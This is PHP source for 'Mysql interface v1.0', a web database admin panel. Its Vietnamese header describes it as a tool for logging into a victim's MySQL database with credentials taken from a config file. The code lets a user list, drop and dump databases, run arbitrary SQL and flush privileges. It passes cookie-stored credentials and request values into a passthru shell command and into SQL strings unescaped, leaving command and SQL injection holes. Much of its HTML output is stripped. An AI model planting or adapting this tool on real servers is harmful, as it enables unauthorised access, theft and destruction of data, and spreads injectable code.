/*
* Mysql interface v1.0
* -------------------------------
* Description :
* Dung` de login vao` CSDL cua victim khi da biet user va` pass cua mysql thong qua file config
*/
$HOSTNAME = "localhost";
function logon() {
global $PHP_SELF;
setcookie( "mysql_web_admin_username" );
setcookie( "mysql_web_admin_password" );
echo "\n";
echo "
\n";
echo "Mysql interface\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "Mysql Interface v1.0\n";
echo "\n";
echo " | \n";
echo " | \n";
echo " \n";
echo "\n";
echo "Copyright © 2005\n ";
echo "\n";
echo " |
\n";
echo "\n";
echo "\n";
}
function logon_submit() {
global $username, $password, $PHP_SELF;
setcookie( "mysql_web_admin_username", $username );
setcookie( "mysql_web_admin_password", $password );
echo "";
echo "";
echo "";
echo "";
echo "";
}
function echoQueryResult() {
global $queryStr, $errMsg;
if( $errMsg == "" ) $errMsg = "Success";
if( $queryStr != "" ) {
echo "\n";
echo "Query | $queryStr |
\n";
echo "Result | $errMsg |
\n";
echo "
\n";
}
}
function listDatabases() {
global $mysqlHandle, $PHP_SELF;
echo "
Database List
\n";
echo "\n";
echo "
\n";
echo "\n";
$pDB = mysql_list_dbs( $mysqlHandle );
$num = mysql_num_rows( $pDB );
for( $i = 0; $i < $num; $i++ ) {
$dbname = mysql_dbname( $pDB, $i );
echo "\n";
echo "$dbname | \n";
echo "Table | \n";
echo "Drop | \n";
echo "Dump | \n";
echo "
\n";
}
echo "
\n";
}
function createDatabase() {
global $mysqlHandle, $dbname, $PHP_SELF;
mysql_create_db( $dbname, $mysqlHandle );
listDatabases();
}
function dropDatabase() {
global $mysqlHandle, $dbname, $PHP_SELF;
mysql_drop_db( $dbname, $mysqlHandle );
listDatabases();
}
function listTables() {
global $mysqlHandle, $dbname, $PHP_SELF;
echo "Table List
\n";
echo "$dbname
\n";
echoQueryResult();
echo "\n";
echo "\n";
echo "
\n";
$pTable = mysql_list_tables( $dbname );
if( $pTable == 0 ) {
$msg = mysql_error();
echo "Error : $msg
\n";
return;
}
$num = mysql_num_rows( $pTable );
echo "
\n";
for( $i = 0; $i < $num; $i++ ) {
$tablename = mysql_tablename( $pTable, $i );
echo "\n";
echo "\n";
echo "$tablename\n";
echo " | \n";
echo "\n";
echo "Schema\n";
echo " | \n";
echo "\n";
echo "Data\n";
echo " | \n";
echo "\n";
echo "Drop\n";
echo " | \n";
echo "\n";
echo "Dump\n";
echo " | \n";
echo "
\n";
}
echo "
";
}
function createTable() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
$queryStr = "CREATE TABLE $tablename ( no INT )";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
listTables();
}
function dropTable() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
$queryStr = "DROP TABLE $tablename";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
listTables();
}
function viewSchema() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
echo "Table Schema
\n";
echo "$dbname > $tablename
\n";
echoQueryResult();
echo "Add Field | \n";
echo "View Data\n";
echo "
\n";
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
echo "\n";
echo "\n";
echo "Field | \n";
echo "Type | \n";
echo "Null | \n";
echo "Key | \n";
echo "Default | \n";
echo "Extra | \n";
echo "Action | \n";
echo "
\n";
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_array( $pResult );
echo "\n";
echo "".$field["Field"]." | \n";
echo "".$field["Type"]." | \n";
echo "".$field["Null"]." | \n";
echo "".$field["Key"]." | \n";
echo "".$field["Default"]." | \n";
echo "".$field["Extra"]." | \n";
$fieldname = $field["Field"];
echo "Edit | \n";
echo "Drop | \n";
echo "
\n";
}
echo "
\n";
}
function manageField( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
if( $cmd == "add" )
echo "Add Field
\n";
else if( $cmd == "edit" ) {
echo "Edit Field
\n";
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_array( $pResult );
if( $field["Field"] == $fieldname ) {
$fieldtype = $field["Type"];
$fieldkey = $field["Key"];
$fieldextra = $field["Extra"];
$fieldnull = $field["Null"];
$fielddefault = $field["Default"];
break;
}
}
$type = strtok( $fieldtype, " (,)\n" );
if( strpos( $fieldtype, "(" ) ) {
if( $type == "enum" | $type == "set" ) {
$valuelist = strtok( " ()\n" );
} else {
$M = strtok( " (,)\n" );
if( strpos( $fieldtype, "," ) )
$D = strtok( " (,)\n" );
}
}
}
echo "$dbname > $tablename
\n";
echo "\n";
}
function manageField_submit( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
if( $cmd == "add" )
$queryStr = "ALTER TABLE $tablename ADD $name ";
else if( $cmd == "edit" )
$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
if( $M != "" )
if( $D != "" )
$queryStr .= "$type($M,$D) ";
else
$queryStr .= "$type($M) ";
else if( $valuelist != "" ) {
$valuelist = stripslashes( $valuelist );
$queryStr .= "$type($valuelist) ";
} else
$queryStr .= "$type ";
$queryStr .= "$unsigned $zerofill $binary ";
if( $default_value != "" )
$queryStr .= "DEFAULT '$default_value' ";
$queryStr .= "$not_null $auto_increment";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
// key change
$keyChange = false;
$result = mysql_query( "SHOW KEYS FROM $tablename" );
$primary = "";
while( $row = mysql_fetch_array($result) )
if( $row["Key_name"] == "PRIMARY" ) {
if( $row[Column_name] == $name )
$keyChange = true;
else
$primary .= ", $row[Column_name]";
}
if( $primary_key == "PRIMARY KEY" ) {
$primary .= ", $name";
$keyChange = !$keyChange;
}
$primary = substr( $primary, 2 );
if( $keyChange == true ) {
$q = "ALTER TABLE $tablename DROP PRIMARY KEY";
mysql_query( $q );
$queryStr .= "
\n" . $q;
$errMsg .= "
\n" . mysql_error();
$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
mysql_query( $q );
$queryStr .= "
\n" . $q;
$errMsg .= "
\n" . mysql_error();
}
viewSchema();
}
function dropField() {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr , $mysqlHandle );
$errMsg = mysql_error();
viewSchema();
}
function viewData( $queryStr ) {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
echo "Data in Table
\n";
if( $tablename != "" )
echo "$dbname > $tablename
\n";
else
echo "$dbname
\n";
$queryStr = stripslashes( $queryStr );
if( $queryStr == "" ) {
$queryStr = "SELECT * FROM $tablename";
if( $orderby != "" )
$queryStr .= " ORDER BY $orderby";
echo "Add Data | \n";
echo "Schema\n";
}
$pResult = mysql_db_query( $dbname, $queryStr );
$errMsg = mysql_error();
$GLOBALS[queryStr] = $queryStr;
if( $pResult == false ) {
echoQueryResult();
return;
}
if( $pResult == 1 ) {
$errMsg = "Success";
echoQueryResult();
return;
}
echo "
\n";
$row = mysql_num_rows( $pResult );
$col = mysql_num_fields( $pResult );
if( $row == 0 ) {
echo "No Data Exist!";
return;
}
if( $rowperpage == "" ) $rowperpage = 20;
if( $page == "" ) $page = 0;
else $page--;
mysql_data_seek( $pResult, $page * $rowperpage );
echo "\n";
echo "\n";
for( $i = 0; $i < $col; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
echo "";
echo "".$field->name."\n";
echo " | \n";
}
echo "Action | \n";
echo "
\n";
for( $i = 0; $i < $rowperpage; $i++ ) {
$rowArray = mysql_fetch_row( $pResult );
if( $rowArray == false ) break;
echo "\n";
$key = "";
for( $j = 0; $j < $col; $j++ ) {
$data = $rowArray[$j];
$field = mysql_fetch_field( $pResult, $j );
if( $field->primary_key == 1 )
$key .= "&" . $field->name . "=" . $data;
if( strlen( $data ) > 20 )
$data = substr( $data, 0, 20 ) . "...";
$data = htmlspecialchars( $data );
echo "\n";
echo "$data\n";
echo " | \n";
}
if( $key == "" )
echo "no Key | \n";
else {
echo "Edit | \n";
echo "Delete | \n";
}
echo "
\n";
}
echo "
\n";
echo "\n";
echo "\n";
echo "\n";
}
function manageData( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
if( $cmd == "add" )
echo "Add Data
\n";
else if( $cmd == "edit" ) {
echo "Edit Data
\n";
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
$key = "";
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
if( $field->primary_key == 1 )
if( $field->numeric == 1 )
$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
else
$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
}
$key = substr( $key, 0, strlen($key)-4 );
mysql_select_db( $dbname, $mysqlHandle );
$pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
$data = mysql_fetch_array( $pResult );
}
echo "$dbname > $tablename
\n";
echo "\n";
}
function manageData_submit( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
mysql_select_db( $dbname, $mysqlHandle );
if( $cmd == "add" )
$queryStr = "INSERT INTO $tablename VALUES (";
else if( $cmd == "edit" )
$queryStr = "REPLACE INTO $tablename VALUES (";
for( $i = 0; $i < $num-1; $i++ ) {
$field = mysql_fetch_field( $pResult );
$func = $GLOBALS[$field->name."_function"];
if( $func != "" )
$queryStr .= " $func(";
if( $field->numeric == 1 ) {
$queryStr .= $GLOBALS[$field->name];
if( $func != "" )
$queryStr .= "),";
else
$queryStr .= ",";
} else {
$queryStr .= "'" . $GLOBALS[$field->name];
if( $func != "" )
$queryStr .= "'),";
else
$queryStr .= "',";
}
}
$field = mysql_fetch_field( $pResult );
if( $field->numeric == 1 )
$queryStr .= $GLOBALS[$field->name] . ")";
else
$queryStr .= "'" . $GLOBALS[$field->name] . "')";
mysql_query( $queryStr , $mysqlHandle );
$errMsg = mysql_error();
viewData( "" );
}
function deleteData() {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
$key = "";
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
if( $field->primary_key == 1 )
if( $field->numeric == 1 )
$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
else
$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
}
$key = substr( $key, 0, strlen($key)-4 );
mysql_select_db( $dbname, $mysqlHandle );
$queryStr = "DELETE FROM $tablename WHERE $key";
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
viewData( "" );
}
function dump() {
global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename;
if( $action == "dumpTable" )
$filename = $tablename;
else
$filename = $dbname;
header("Content-disposition: filename=$filename.sql");
header("Content-type: application/octetstream");
header("Pragma: no-cache");
header("Expires: 0");
$pResult = mysql_query( "show variables" );
while( 1 ) {
$rowArray = mysql_fetch_row( $pResult );
if( $rowArray == false ) break;
if( $rowArray[0] == "basedir" )
$bindir = $rowArray[1]."bin/";
}
passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" );
}
function utils() {
global $PHP_SELF, $command;
echo "Utilities
\n";
if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
echo "
\n";
echo "Show\n";
echo "\n";
echo "Flush\n";
echo "\n";
echo "- Hosts\n";
if( $command == "flush_hosts" ) {
if( mysql_query( "Flush hosts" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "
- Logs\n";
if( $command == "flush_logs" ) {
if( mysql_query( "Flush logs" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "
- Privileges\n";
if( $command == "flush_privileges" ) {
if( mysql_query( "Flush privileges" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "
- Tables\n";
if( $command == "flush_tables" ) {
if( mysql_query( "Flush tables" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "
- Status\n";
if( $command == "flush_status" ) {
if( mysql_query( "Flush status" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "
\n";
} else {
$queryStr = ereg_replace( "_", " ", $command );
$pResult = mysql_query( $queryStr );
if( $pResult == false ) {
echo "Fail";
return;
}
$col = mysql_num_fields( $pResult );
echo "$queryStr
\n";
echo "
\n";
echo "\n";
echo "\n";
for( $i = 0; $i < $col; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
echo "".$field->name." | \n";
}
echo "
\n";
while( 1 ) {
$rowArray = mysql_fetch_row( $pResult );
if( $rowArray == false ) break;
echo "\n";
for( $j = 0; $j < $col; $j++ )
echo "".htmlspecialchars( $rowArray[$j] )." | \n";
echo "
\n";
}
echo "
\n";
}
}
function header_html() {
global $PHP_SELF;
?>
MySQL Web Interface
}
function footer_html() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
echo "
\n";
echo "\n";
echo "[$USERNAME] - \n";
echo "Database List | \n";
if( $tablename != "" )
echo "Table List | ";
echo "Utils |\n";
echo "Logout\n";
echo "\n";
echo "\n";
echo "\n";
}
//------------------------------------------------------ MAIN
if( $action == "logon" || $action == "" || $action == "logout" )
logon();
else if( $action == "logon_submit" )
logon_submit();
else if( $action == "dumpTable" || $action == "dumpDB" ) {
while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
}
$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
dump();
} else {
while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
}
echo "";
if( $mysqlHandle == false ) {
echo "\n";
echo "\n";
echo "MySQL Web Interface\n";
echo "\n";
echo "\n";
echo "\n";
echo "Wrong Password!\n";
echo "Logon\n";
echo " |
\n";
echo "\n";
echo "\n";
} else {
header_html();
if( $action == "listDBs" )
listDatabases();
else if( $action == "createDB" )
createDatabase();
else if( $action == "dropDB" )
dropDatabase();
else if( $action == "listTables" )
listTables();
else if( $action == "createTable" )
createTable();
else if( $action == "dropTable" )
dropTable();
else if( $action == "viewSchema" )
viewSchema();
else if( $action == "query" )
viewData( $queryStr );
else if( $action == "addField" )
manageField( "add" );
else if( $action == "addField_submit" )
manageField_submit( "add" );
else if( $action == "editField" )
manageField( "edit" );
else if( $action == "editField_submit" )
manageField_submit( "edit" );
else if( $action == "dropField" )
dropField();
else if( $action == "viewData" )
viewData( "" );
else if( $action == "addData" )
manageData( "add" );
else if( $action == "addData_submit" )
manageData_submit( "add" );
else if( $action == "editData" )
manageData( "edit" );
else if( $action == "editData_submit" )
manageData_submit( "edit" );
else if( $action == "deleteData" )
deleteData();
else if( $action == "utils" )
utils();
mysql_close( $mysqlHandle);
footer_html();
}
}
?>